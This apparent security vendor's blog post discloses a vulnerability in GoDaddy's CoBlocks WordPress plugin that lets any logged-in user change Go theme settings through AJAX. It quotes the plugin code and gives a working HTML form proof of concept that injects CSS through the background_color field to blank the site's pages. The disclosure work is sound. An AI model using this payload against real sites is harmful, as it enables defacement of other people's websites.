19 May 2023

Is This Authenticated Settings Change Vulnerability in GoDaddy’s CoBlocks What a Hacker Might Be Interested In?

Yesterday, on one of our websites and in data from third-party websites, we saw what looked to be a hacker probing for usage of GoDaddy’s WordPress plugin CoBlocks by requesting the readme.txt file for it:

/wp-content/plugins/coblocks/readme.txt

That plugin has 500,000+ installs according to WordPress.

We couldn’t find any previously disclosed vulnerability that might explain a hacker’s interest in the plugin.

Considering GoDaddy’s poor track record with security (including with their security service Sucuri), it wouldn’t be surprising if there was a vulnerability in the plugin.

Looking over the plugin, we found a pretty glaring security vulnerability, though it is unclear if this might be something that a hacker would be targeting. If someone else spots another vulnerability that might explain this, please let us know.

In the file /includes/class-coblocks-site-design.php, the function update_design_style() is made available through WordPress’ REST API and AJAX systems.

To access that through the REST API, the request would have to come from someone logged in to WordPress with the edit_theme_options capability, so normally only Administrators:

176
177
178
179
180
181
182
183
184
185
186
187
188
189
public function design_endpoint() {
	register_rest_route(
		COBLOCKS_API_NAMESPACE,
		self::API_ROUTE,
		array(
			'methods'             => WP_REST_Server::CREATABLE,
			'permission_callback' => function() {
				// See https://wordpress.org/support/article/roles-and-capabilities/#edit_theme_options.
				return current_user_can( self::USER_CAP );
			},
			'callback'            => array( $this, 'update_design_style' ),
		)
	);
}
18
const USER_CAP             = 'edit_theme_options';

That also requires a valid nonce, which prevent cross-site request forgery (CSRF).

To access it through the AJAX system, the only requirement is to be logged in to WordPress:

84
add_action( 'wp_ajax_site_design_update_design_style', array( $this, 'update_design_style' ) );

The function itself doesn’t include any additional security checks to restrict access when accessing through AJAX. The code does restrict to a setup where the GoDaddy theme Go is being used as well (that has 90,000+ installs):

300
301
302
303
304
public function update_design_style() {
	// short-circuit.
	if ( self::short_circuit_check() ) {
		return array();
	}
101
102
103
public static function short_circuit_check() {
	return 'go' !== get_stylesheet();
}

The function allows updating theme settings:

356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
if ( $should_update ) {
 
	set_theme_mod( 'design_style', $selected_style );
	set_theme_mod( 'color_scheme', $color_palette );
 
	if ( isset( $fonts, $font_size, $type_ratio ) ) {
		$fonts = json_decode( html_entity_decode( $fonts ), true );
 
		if ( is_array( $fonts ) && count( $fonts ) <= 3 ) { $avail_font_keys = str_replace( array( '_heading', '_body' ), '', array_keys( array_merge( ...$default_fonts ) ) ); // flatten array. $font_keys = str_replace( array( '_heading', '_body' ), '', array_keys( $fonts ) ); // Make sure the font pack selected are in the available list of fonts. if ( ! array_diff( $font_keys, $avail_font_keys ) ) { set_theme_mod( 'fonts', $fonts ); } } set_theme_mod( 'font_size', $font_size ); set_theme_mod( 'type_ratio', $type_ratio ); } foreach ( $custom_colors as $theme_mod => $color ) {
		$theme_mod_string = str_replace( '_color', '', $theme_mod );
		$color            = ! empty( $color ) ? $color : $design_style['color_schemes'][ $color_palette ][ $theme_mod_string ];
 
		set_theme_mod( $theme_mod, $color );
	}
}

The values are sanitized, which limits the impact of the vulnerability:

248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
protected function sanitize_request_params( $request_params = null ) {
	$args = array(
		'design_style'     => FILTER_SANITIZE_SPECIAL_CHARS,
		'color_palette'    => FILTER_SANITIZE_SPECIAL_CHARS,
		'fonts'            => FILTER_SANITIZE_SPECIAL_CHARS,
		'font_size'        => FILTER_SANITIZE_SPECIAL_CHARS,
		'type_ratio'       => FILTER_VALIDATE_FLOAT,
		'should_update'    => FILTER_VALIDATE_BOOLEAN,
		'initial_load'     => FILTER_VALIDATE_BOOLEAN,
		'primary_color'    => FILTER_SANITIZE_SPECIAL_CHARS,
		'secondary_color'  => FILTER_SANITIZE_SPECIAL_CHARS,
		'tertiary_color'   => FILTER_SANITIZE_SPECIAL_CHARS,
		'background_color' => FILTER_SANITIZE_SPECIAL_CHARS,
	);
 
	return is_array( $request_params )
		? filter_var_array( $request_params, $args )
		: filter_input_array( INPUT_POST, $args );
}

What we found could be done with this is to set CSS for frontend pages of the website, which can be used for malicious purposes or, as shown with the proof of concept below, website defacement.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept cause the frontend pages of the website to appear to be blank, when logged in to WordPress and Go theme is used.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=site_design_update_design_style" method="POST">
<input type="hidden" name="design_style" value='traditional' />
<input type="hidden" name="should_update" value='1' />
<input type="hidden" name="background_color" value='white; } html { display: none !important' />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for CoBlocks

Checked on October 9, 2024
C+

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.